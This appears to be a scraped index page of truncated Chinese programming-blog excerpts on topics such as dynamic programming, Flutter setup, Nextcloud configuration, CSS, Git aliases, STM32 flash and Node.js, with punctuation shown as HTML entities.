● 理论基础 DP大约五种问题&#xff1a; 动规基础&#xff08;斐波那契数列、爬楼梯&#xff09;&#xff1b;背包问题&#xff1b;股票问题&#xff1b;打家劫舍&#xff1b;子序列问题。 要搞清楚&#xff1a; DP数组及其下标的含义&#xff1b;DP数组如何初始化&#x…...

Android Studio 安装Flutter插件但是没法创建项目

Android Studio 安装Flutter插件但是没法创建项目 如果你在Android Studio已经安装了Dart、Flutter插件&#xff0c;但是不能创建Flutter项目。 原因是因为Android Studio的版本更新&#xff0c;Android APK Support这个插件没被选中。 一旦勾选这个插件之后&#xff0c;就能…...

新春快乐(烟花、春联)【附源码】

新春快乐 一&#xff1a; C语言 -- 烟花二&#xff1a;Python -- 春联三&#xff1a;Python -- 烟花四&#xff1a;HTML -- 烟花 一&#xff1a; C语言 – 烟花 运行效果&#xff1a; #include <graphics.h> #include <math.h> #include <time.h> #include…...

nextcloud 优化扩展

cd /config vi config.php #ONLYOFFICE allow_local_remote_servers > true, #应用商店加速 appstoreenabled > true, appstoreurl > https://www.orcy.net/ncapps/v2/, #nginx配置调优 add_header Strict-Transport-Security max-age15552000; add…...

【CSS】css如何实现字体大小小于12px?

【CSS】css如何实现字体大小小于12px? 问题解决方案transform: scale(0.5)&#xff08;常用&#xff09;SVG 矢量图设置text 问题 文字需要显示为12px&#xff0c;但是小于12px的&#xff0c;浏览器是显示不来的 解决方案 transform: scale(0.5)&#xff08;常用&#xff0…...

【Langchain+Streamlit】旅游聊天机器人

【LangchainStreamlit】打造一个旅游问答AI-CSDN博客 项目线上地址&#xff0c;无需openai秘钥可直接体验&#xff1a;http://101.33.225.241:8502/ github地址&#xff1a;GitHub - jerry1900/langchain_chatbot: langchainstreamlit打造的一个有memory的旅游聊天机器人&…...

〖大前端 - ES6篇②〗- let和const

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;哈哥撩编程&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xff0c;目前在公司…...

JAVA设计模式之代理模式详解

代理模式 1 代理模式介绍 在软件开发中,由于一些原因,客户端不想或不能直接访问一个对象,此时可以通过一个称为"代理"的第三者来实现间接访问.该方案对应的设计模式被称为代理模式. 代理模式(Proxy Design Pattern ) 原始定义是&#xff1a;让你能够提供对象的替代…...

vivo发布2023 年度科技创新;阿里全新AI代理,可模拟人类操作手机

vivo 发布 2023 年度十大产品技术创新 近日&#xff0c;vivo 发布了「2023 年度科技创新」十大产品技术创新榜单&#xff0c;并将这些技术分为了 4 个板块。 「四大蓝科技」为 vivo 在去年推出的全新技术品牌&#xff0c;涵盖蓝晶芯片技术栈、蓝海续航系统、蓝心大模型、蓝河操…...

【制作100个unity游戏之23】实现类似七日杀、森林一样的生存游戏15(附项目源码)

本节最终效果演示 文章目录 本节最终效果演示系列目录前言实现树倒下的效果拾取圆木砍树消耗卡路里斧头手臂穿模问题处理源码完结 系列目录 前言 欢迎来到【制作100个Unity游戏】系列&#xff01;本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第23篇中&…...

python巧用定理判断素数

目录 判断一个数n是否是素数 求一个数的素因数个数 求大于等于指定数的最小素数 在数论中有三个非常重要的关于素数的定理 1、任何数都可以表示成若干个素数的乘积 2、任意数的素因子一个大于根号n的自然数&#xff0c;另一个与其对应的因子则必小于根号n。 3、除了2和3以…...

2023年总结

人们总说时间会改变一切&#xff0c;但事实上你得自己来。 今年开始给自己的时间读书、工作、生活都加上一个2.0的release版本号&#xff0c;相比过去的一年还是有很多进步的。 就跟git commit一样&#xff0c;一步一步提交优化&#xff0c;年底了发个版本。用李笑来的话说&am…...

Git中为常用指令配置别名

目录 1 前言 2 具体操作 2.1 创建.bashrc文件 2.2 添加指令 2.3 使其生效 2.4 测试 1 前言 在Git中有一些常用指令比较长&#xff0c;当我们直接输入&#xff0c;不仅费时费力&#xff0c;还容易出错。这时候&#xff0c;如果能给其取个简短的别名&#xff0c;那么事情就…...

STM32内部Flash

目录 一、内部Flash简介 二、内部Flash构成 1. 主存储器 2. 系统存储区 3. 选项字节 三、内部Flash写入过程 1. 解锁 2. 页擦除 3. 写入数据 四、工程空间分布 某工程的ROM存储器分布映像&#xff1a; 1. 程序ROM的加载与执行空间 2. ROM空间分布表 一、内部Flash…...

html5 audio video

DOMException: play() failed because the user didn‘t interact with the document first.-CSDN博客 不可用&#xff1a; 可用&#xff1a; Google Chrome Close AutoUpdate-CSDN博客...

LoveWall v2.0Pro社区型校园表白墙源码

校园表白墙&#xff0c;一个接近于社区类型的表白墙&#xff0c;LoveWall。 源码特色&#xff1b; 点赞&#xff0c; 发评论&#xff0c; 发弹幕&#xff0c; 多校区&#xff0c; 分享页&#xff0c; 涉及违禁物等名词进行检测&#xff01; 安装教程: 环境要求&#xff1b;…...

Flink cdc3.0动态变更表结构——源码解析

文章目录 前言源码解析1. 接收schema变更事件2. 发起schema变更请求3. schema变更请求具体处理4. 广播刷新事件并阻塞5. 处理FlushEvent6. 修改sink端schema 结尾 前言 上一篇Flink cdc3.0同步实例 介绍了最新的一些功能和问题&#xff0c;本篇来看下新功能之一的动态变更表结…...

WWW 2024 | 时间序列(Time Series)和时空数据(Spatial-Temporal)论文总结

WWW 2024已经放榜&#xff0c;本次会议共提交了2008篇文章&#xff0c;research tracks共录用约400多篇论文&#xff0c;录用率为20.2%。本次会议将于2024年5月13日-17日在新加坡举办。 本文总结了WWW 2024有关时间序列&#xff08;Time Series&#xff09;和时空数据&#xf…...

代码随想录算法——数组

目录 1、二分查找法 2、移除元素 3、有序数组的平方 4、长度最小的子数组 5、螺旋矩阵II 1、二分查找法 给定一个 n 个元素有序的&#xff08;升序&#xff09;整型数组 nums 和一个目标值 target &#xff0c;写一个函数搜索 nums 中的 target&#xff0c;如果目标值存在…...

Linux第45步_通过搭建“DNS服务器”学习图形化配置工具

学习的意义&#xff1a;通过搭建“DNS服务器”&#xff0c;来学习“图形化配置工具”。“DNS服务器”&#xff0c;我们用不到&#xff0c;但为后期移植linux系统服务&#xff0c;因为在移植系统时&#xff0c;需要用到这个“图形化配置工具”。 1、“menuconfig图形化配置工具…...

【Linux取经路】探寻shell的实现原理

文章目录 一、打印命令行提示符二、读取键盘输入的指令三、指令切割四、普通命令的执行五、内建指令执行5.1 cd指令5.2 export指令5.3 echo指令 六、结语 一、打印命令行提示符 const char* getusername() // 获取用户名 {return getenv("USER"); }const char* geth…...

【MATLAB】使用随机森林在回归预测任务中进行特征选择(深度学习的数据集处理)

1.随机森林在神经网络的应用 当使用随机森林进行特征选择时&#xff0c;算法能够为每个特征提供一个重要性得分&#xff0c;从而帮助识别对目标变量预测最具影响力的特征。这有助于简化模型并提高其泛化能力&#xff0c;减少过拟合的风险&#xff0c;并且可以加快模型训练和推理…...

2024Node.js零基础教程(小白友好型),nodejs新手到高手,(六)NodeJS入门——http模块

047_http模块_获取请求行和请求头 hello&#xff0c;大家好&#xff0c;那第二节我们来介绍一下如何在这个服务当中来提取 HTT 请求报文的相关内容。首先先说一下关于报文的提取的方法&#xff0c;我在这个文档当中都已经记录好了&#xff0c;方便大家后续做一个快速的查阅。 …...

【数据结构与算法】(5)基础数据结构之队列 链表实现、环形数组实现详细代码示例讲解

目录 2.4 队列1) 概述2) 链表实现3) 环形数组实现 2.4 队列 1) 概述 计算机科学中&#xff0c;queue 是以顺序的方式维护的一组数据集合&#xff0c;在一端添加数据&#xff0c;从另一端移除数据。习惯来说&#xff0c;添加的一端称为尾&#xff0c;移除的一端称为头&#xf…...